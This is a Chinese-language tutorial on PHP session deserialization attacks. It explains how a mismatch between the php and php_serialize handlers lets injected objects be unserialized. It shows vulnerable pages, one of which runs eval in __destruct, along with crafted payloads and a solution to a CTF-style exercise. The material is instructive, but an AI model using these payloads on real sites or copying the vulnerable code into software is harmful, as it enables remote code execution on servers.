PHP反序列化基础之session反序列化
当session_start()被调用或者php.ini中session.auto_start为1时,
php内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp).
存取数据的格式有多种,常用的有三种
漏洞产生:写入格式和读取格式不一致
1. PHP 内置格式 (php) - 默认
username|s:5:"admin";
age|i:25;
存储结构
<键名>|<serialize(值)>
- 特点
- 使用竖线
|
分隔键名和序列化值 - 兼容性最好(PHP 所有版本支持)
- 安全风险:竖线易被注入(如
"|恶意代码"
)
- 使用竖线
- 适用场景
需要兼容旧版 PHP 的传统应用
2. PHP 序列化格式 (php_serialize) - PHP 5.5.4+
- 示例
a:2:{s:8:"username";s:5:"admin";s:3:"age";i:25;}
存储结构
serialize($_SESSION) // 整个数组序列化
- 特点
- 标准化
serialize()
格式 - 支持嵌套数据结构(数组、对象等)
- 安全风险:需防止反序列化漏洞(如
unserialize
恶意数据)
- 标准化
- 适用场景
现代 PHP 应用(推荐默认使用)
3. PHP 二进制格式 (php_binary)
- 示例
\x08username
s:5:"admin";(
\x08` 是键名长度 8 的 ASCII 字符)
存储结构
<键名长度(ASCII字符)><键名><serialize(值)>
- 特点
- 二进制安全(支持特殊字符键名)
- 解析效率略高
- 安全风险:长度前缀可能被伪造(如
\xFF
声明超长键名)
- 适用场景
高性能需求或需要处理二进制数据的场景
漏洞例题:
有漏洞的页面:
<?php
ini_set('session.serialize_handler','php');// 设置会话序列化处理器为PHP内置格式
session_start();//启动会话
class D{
var $a;
function __destruct(){
eval($this->a);//漏洞最终执行处
}
}
?>
//可以看出这是一个读取session的代码
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');// 设置会话序列化处理器为php_serialize格式
session_start();//启动会话
$_SESSION['ben'] = $_GET['a'];
?>
//可以看出这是一个保存session的代码
漏洞利用:
如果给a传入的参数:
<?php
class D{
var $a='phpinfo();';
}
$a = new D();
echo serialize($a);
?>
输出a的参数:
a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}
在经过php_serialize保存后为:
a:1:{s:3"ben";s:?
"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}"}
计算一下长度
>>> a = '|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}'
>>> print(len(a))
39
a:1:{s:3"ben";s:39"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}"}
然后经过php读取时:
a:1:{s:3"ben";s:39"
|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}"}
键名 serialize后的值
学完就来练一个简单的题目:
<?php
highlight_file(__FILE__);
/*hint.php*/
//提示有hint.php页面
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){//反序列化的时候会调用
$this->her=md5(rand(1, 10000));//会给her赋值一个随机生成的一个1-10000的
//数字的MD5的加密值
if ($this->name===$this->her){//name和her的值必须完全相等
include('flag.php');
echo $flag;
}
}
}
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');// 设置会话序列化处理器为php_serialize
session_start();
$_SESSION['a'] = $_GET['a'];//获取参数a的值
?>
两个php文件很明显hint.php来写入seesion值,index.php来读取session值
index.php没有指明使用哪个序列化处理器,会使用默认的php.ini中session.serialize_handler的值
一般就是php序列化处理器
也可以打开看一下
hint.php使用的是php_serialize()序列化处理器
也就是和上面就那个题目一样
还有一个需要构造的地方:
因为her的值为随机生成的值,所以在这里就要用到引用的概念,参考链接:
her和name的值的构造:
<?php
class Flag{
public $name;
public $her;
}
$a = new Flag();
$a ->name =& $a ->her;
echo serialize($a);
?>
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
所以a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}